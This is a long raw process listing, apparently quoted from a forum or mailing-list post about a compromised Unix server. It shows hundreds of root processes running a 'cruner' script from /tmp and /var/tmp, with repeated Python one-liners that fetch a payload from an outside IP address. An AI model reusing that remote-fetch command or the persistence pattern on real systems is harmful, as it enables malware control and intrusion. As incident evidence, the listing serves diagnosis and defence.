/var/tmp/cruner > root 17770 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12790 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner >saddison 13008 12984 0 Sep 29 pts/6 0:00 metacity > root 6503 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25395 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17997 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 7040 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9905 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21741 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25515 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22760 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14089 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17907 2916 0 Oct 04 ? 0:00 /opt/csw/sbin/sshd -R > root 352 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25260 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22664 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10886 12202 0 15:45:21 ? 0:00 sleep 60 > root 13646 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17193 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2764 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7967 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4234 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6431 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4738 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14059 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17134 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23123 23296 0 15:44:45 ? 0:00 bash -sh > root 5376 3493 0 15:45:35 ? 0:00 /bin/ksh -p /bin/kill -9 > root 574 19133 0 15:45:58 ? 0:00 sleep 60 > root 24400 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7376 6674 0 - ? 0:00 <defunct> > root 17519 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1400 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25050 25588 0 - ? 0:00 <defunct> > root 12719 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7541 17219 0 - ? 0:00 <defunct> > root 12643 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5500 25614 0 15:45:20 ? 0:00 sleep 60 > root 3859 3579 0 15:43:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17732 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6386 3238 0 15:45:28 ? 0:00 bash -sh > root 12454 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14569 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18190 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13065 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14620 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4914 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18601 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7671 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12632 15639 0 15:45:55 ? 0:00 sleep 60 > root 26787 26591 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16136 1837 0 - ? 0:00 <defunct> > root 6132 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16186 3795 0 15:45:46 ? 0:00 bash -sh > root 23062 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18648 4938 0 15:44:57 ? 0:00 bash -sh > root 29542 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9074 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6462 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20107 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6977 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21510 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24665 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5066 3605 0 15:45:49 ? 0:00 sleep 60 > root 5301 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4678 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6049 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28434 17517 0 15:44:59 ? 0:00 bash -sh > root 21030 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10219 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15131 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18022 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2513 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8963 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27982 1038 0 15:44:10 ? 0:00 bash -sh > root 16141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4179 21836 0 15:45:09 ? 0:00 sleep 60 > root 24435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14156 17487 0 15:43:56 ? 0:00 bash -sh > root 3252 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1024 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25315 1763 0 15:44:58 ? 0:00 bash -sh > root 26172 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1039 29293 0 - ? 0:00 <defunct> > root 20306 18927 0 15:45:29 ? 0:00 sleep 60 > root 3660 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17957 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17965 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2602 2594 0 15:43:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22092 22069 0 15:45:33 ? 0:00 sleep 60 > root 15326 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14054 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8082 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1552 6656 0 15:45:48 ? 0:00 sleep 60 > root 11893 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1723 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22213 11245 0 - ? 0:00 <defunct> > root 2982 5375 0 15:44:12 ? 0:00 bash -sh > root 6763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9749 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6337 27854 0 - ? 0:00 <defunct> > root 1542 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8085 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19040 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23127 4852 0 15:44:08 ? 0:00 bash -sh > root 9475 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27029 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4881 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25629 15021 0 - ? 0:00 <defunct> > root 3141 3125 0 15:43:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18633 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1977 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10994 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4132 2690 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26341 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8678 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3465 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19002 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2210 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12884 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29976 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22084 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6631 17593 0 15:45:54 ? 0:00 sleep 60 > root 11598 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26048 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5446 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22243 9704 0 15:45:30 ? 0:00 sleep 60 > root 7262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21951 19021 0 15:43:22 ? 0:00 bash -sh > root 20558 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2597 7441 0 - ? 0:00 <defunct> > root 25381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20510 15366 0 - ? 0:00 <defunct> > root 20117 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25222 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7289 22334 0 15:46:03 ? 0:00 bash -sh > root 27920 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15305 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25567 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23135 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2110 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16541 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13827 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7872 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27194 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22425 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3704 20727 0 - ? 0:00 <defunct> > root 22156 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21573 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16878 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22615 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13067 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27895 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17812 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27527 21393 0 15:45:53 ? 0:00 sleep 60 > root 7658 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9303 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7789 23121 0 15:45:25 ? 0:00 bash -sh > root 9449 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13432 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24338 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9153 1714 0 15:45:59 ? 0:00 sleep 60 > root 24432 24428 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20664 17617 0 - ? 0:00 <defunct> > root 23334 9550 0 15:44:40 ? 0:00 bash -sh > root 21635 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4630 18426 0 15:44:42 ? 0:00 bash -sh > root 25564 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2183 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1477 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13510 5868 0 - ? 0:00 <defunct> > root 11844 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2227 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12278 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13255 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23981 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25917 7912 0 15:45:13 ? 0:00 sh /var/tmp/cruner > root 1926 26537 0 - ? 0:00 <defunct> > root 5609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11680 24511 0 15:45:36 ? 0:00 bash -sh > root 19898 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2752 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29897 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5753 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4517 29004 0 15:43:42 ? 0:00 bash -sh > root 8071 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18939 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24518 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19658 22075 0 15:45:06 ? 0:00 sleep 60 > root 27069 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3176 2974 0 15:45:09 ? 0:00 bash -sh > root 16215 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10600 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24905 8006 0 15:45:43 ? 0:00 sleep 60 > root 14191 12431 0 15:45:11 ? 0:00 sh /tmp/cruner > root 11983 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20184 29114 0 15:45:46 ? 0:00 sleep 60 > root 29183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16047 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2847 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29401 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3249 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2038 17161 0 15:45:39 ? 0:00 sh /tmp/cruner > root 25707 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9728 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25150 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4608 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21326 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2983 20615 0 15:45:35 ? 0:00 bash -sh > root 5741 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8319 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29566 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18347 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9957 16846 0 15:44:56 ? 0:00 bash -sh > root 6964 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10285 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4687 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13957 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24908 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3297 5320 0 15:45:09 ? 0:00 bash -sh > root 15428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20169 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13875 26247 0 15:45:37 ? 0:00 bash -sh > root 870 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18204 29219 0 - ? 0:00 <defunct> > root 7260 19202 0 15:45:28 ? 0:00 xargs kill -9 > root 17545 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10308 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26868 1585 0 15:45:18 ? 0:00 sleep 60 > root 8466 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22317 3843 0 15:45:42 ? 0:00 bash -sh > root 15452 14774 0 - ? 0:00 <defunct> > root 29908 14089 0 15:45:48 ? 0:00 sh /tmp/cruner > root 22670 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4280 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12203 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19025 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11210 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14430 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6376 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5928 11490 0 15:44:29 ? 0:00 bash -sh > root 7965 5064 0 - ? 0:00 <defunct> > root 932 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5800 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6415 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27917 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12174 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13543 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22916 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25314 29106 0 15:43:15 ? 0:00 bash -sh > root 14900 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22236 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12295 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20491 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3521 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28282 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14909 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24648 8859 0 - ? 0:00 <defunct> > root 4576 4343 0 15:45:19 ? 0:00 sleep 60 > root 26457 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6213 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11340 11326 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2745 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2623 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3878 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5415 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2514 5577 0 15:45:19 ? 0:00 sleep 60 > root 1151 17163 0 15:45:34 ? 0:00 sleep 60 > root 28447 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3396 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17697 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22763 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6446 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4134 15453 0 15:43:37 ? 0:00 bash -sh > root 28174 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1433 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24483 23940 0 - ? 0:00 <defunct> > root 19222 21925 0 15:45:42 ? 0:00 sleep 60 > root 6413 13529 0 15:45:35 ? 0:00 sleep 60 > root 21442 21421 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25937 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1598 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16259 26889 0 15:44:52 ? 0:00 bash -sh > root 26272 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23775 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11586 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12641 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27406 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18609 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29649 10248 0 15:45:48 ? 0:00 sh /tmp/cruner > root 11041 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22687 12693 0 - ? 0:00 <defunct> > root 10235 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6627 12925 0 15:45:58 ? 0:00 sleep 60 > root 10457 12417 0 - ? 0:00 <defunct> > root 20017 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27013 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17275 9026 0 15:46:00 ? 0:00 bash -sh > root 26586 18460 0 - ? 0:00 <defunct> > root 15601 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5942 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28429 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20805 19459 0 15:45:38 ? 0:00 sleep 60 > root 12135 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6215 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26137 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14984 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26762 1 0 01:05:53 ? 0:00 sh /var/tmp/cruner > root 20652 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6236 26749 0 15:45:35 ? 0:00 sleep 60 > root 9425 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11110 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11460 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4839 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 355 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28091 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6200 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11088 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26768 26752 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12671 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27499 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25618 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 952 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10022 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27228 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12088 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27272 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20738 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25840 12810 0 15:44:54 ? 0:00 bash -sh > root 3924 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12170 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26697 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13210 13666 0 - ? 0:00 <defunct> > root 11590 5967 0 15:46:04 ? 0:00 xargs kill -9 > root 22793 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16062 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13024 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14729 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17444 10138 0 15:42:32 ? 0:00 bash -sh > root 10210 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12020 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19494 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25879 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12899 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1618 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27823 4525 0 - ? 0:00 <defunct> > root 9842 23683 0 - ? 0:00 <defunct> > root 16784 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29480 26747 0 15:45:14 ? 0:00 bash -sh > root 22865 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22679 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19204 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20914 20888 0 15:44:40 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19073 19659 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23318 23316 0 15:46:01 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16980 23154 0 15:44:52 ? 0:00 bash -sh > root 26122 17903 0 15:45:39 ? 0:00 bash -sh > root 22590 1 0 23:03:12 ? 0:00 sh /tmp/cruner > root 4129 10662 0 15:45:00 ? 0:00 bash -sh > root 27495 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9592 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12804 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8254 22391 0 - ? 0:00 <defunct> > root 9229 18555 0 15:45:10 ? 0:00 sleep 60 > root 11381 27046 0 15:45:10 ? 0:00 bash -sh > root 5275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25210 16112 0 15:42:44 ? 0:00 bash -sh > root 13740 7820 0 15:45:29 ? 0:00 sleep 60 > root 11843 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23235 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28680 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17268 10648 0 15:44:57 ? 0:00 bash -sh > root 21068 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7138 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1733 24666 0 - ? 0:00 <defunct> > root 788 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29635 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23827 1 0 03:10:24 ? 0:00 sh /var/tmp/cruner > root 28773 6869 0 - ? 0:00 <defunct> > root 20230 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28194 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4926 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26582 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1218 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11815 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3107 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26740 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21827 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18506 16710 0 15:45:37 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3013 14359 0 15:45:19 ? 0:00 sleep 60 > root 4558 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29350 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26375 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7277 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13869 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13671 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13649 8893 0 15:45:41 ? 0:00 sleep 60 > root 17309 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4650 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1487 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5636 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4091 17105 0 15:45:28 ? 0:00 bash -sh > root 1630 7176 0 15:44:11 ? 0:00 bash -sh > root 4256 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11125 11116 0 - ? 0:00 <defunct> > root 2709 29439 0 15:45:58 ? 0:00 sleep 60 > root 10748 4784 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2292 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28208 28642 0 15:45:18 ? 0:00 sleep 60 > root 29564 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20909 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24099 24086 0 - ? 0:00 <defunct> > root 14377 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23878 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15786 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18298 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2682 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13541 14431 0 - ? 0:00 <defunct> > root 6884 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5439 25280 0 - ? 0:00 <defunct> > root 15128 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5274 6051 0 15:45:40 ? 0:00 sleep 60 > root 23545 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24613 12840 0 15:43:05 ? 0:00 bash -sh > root 5987 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22708 7937 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29614 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 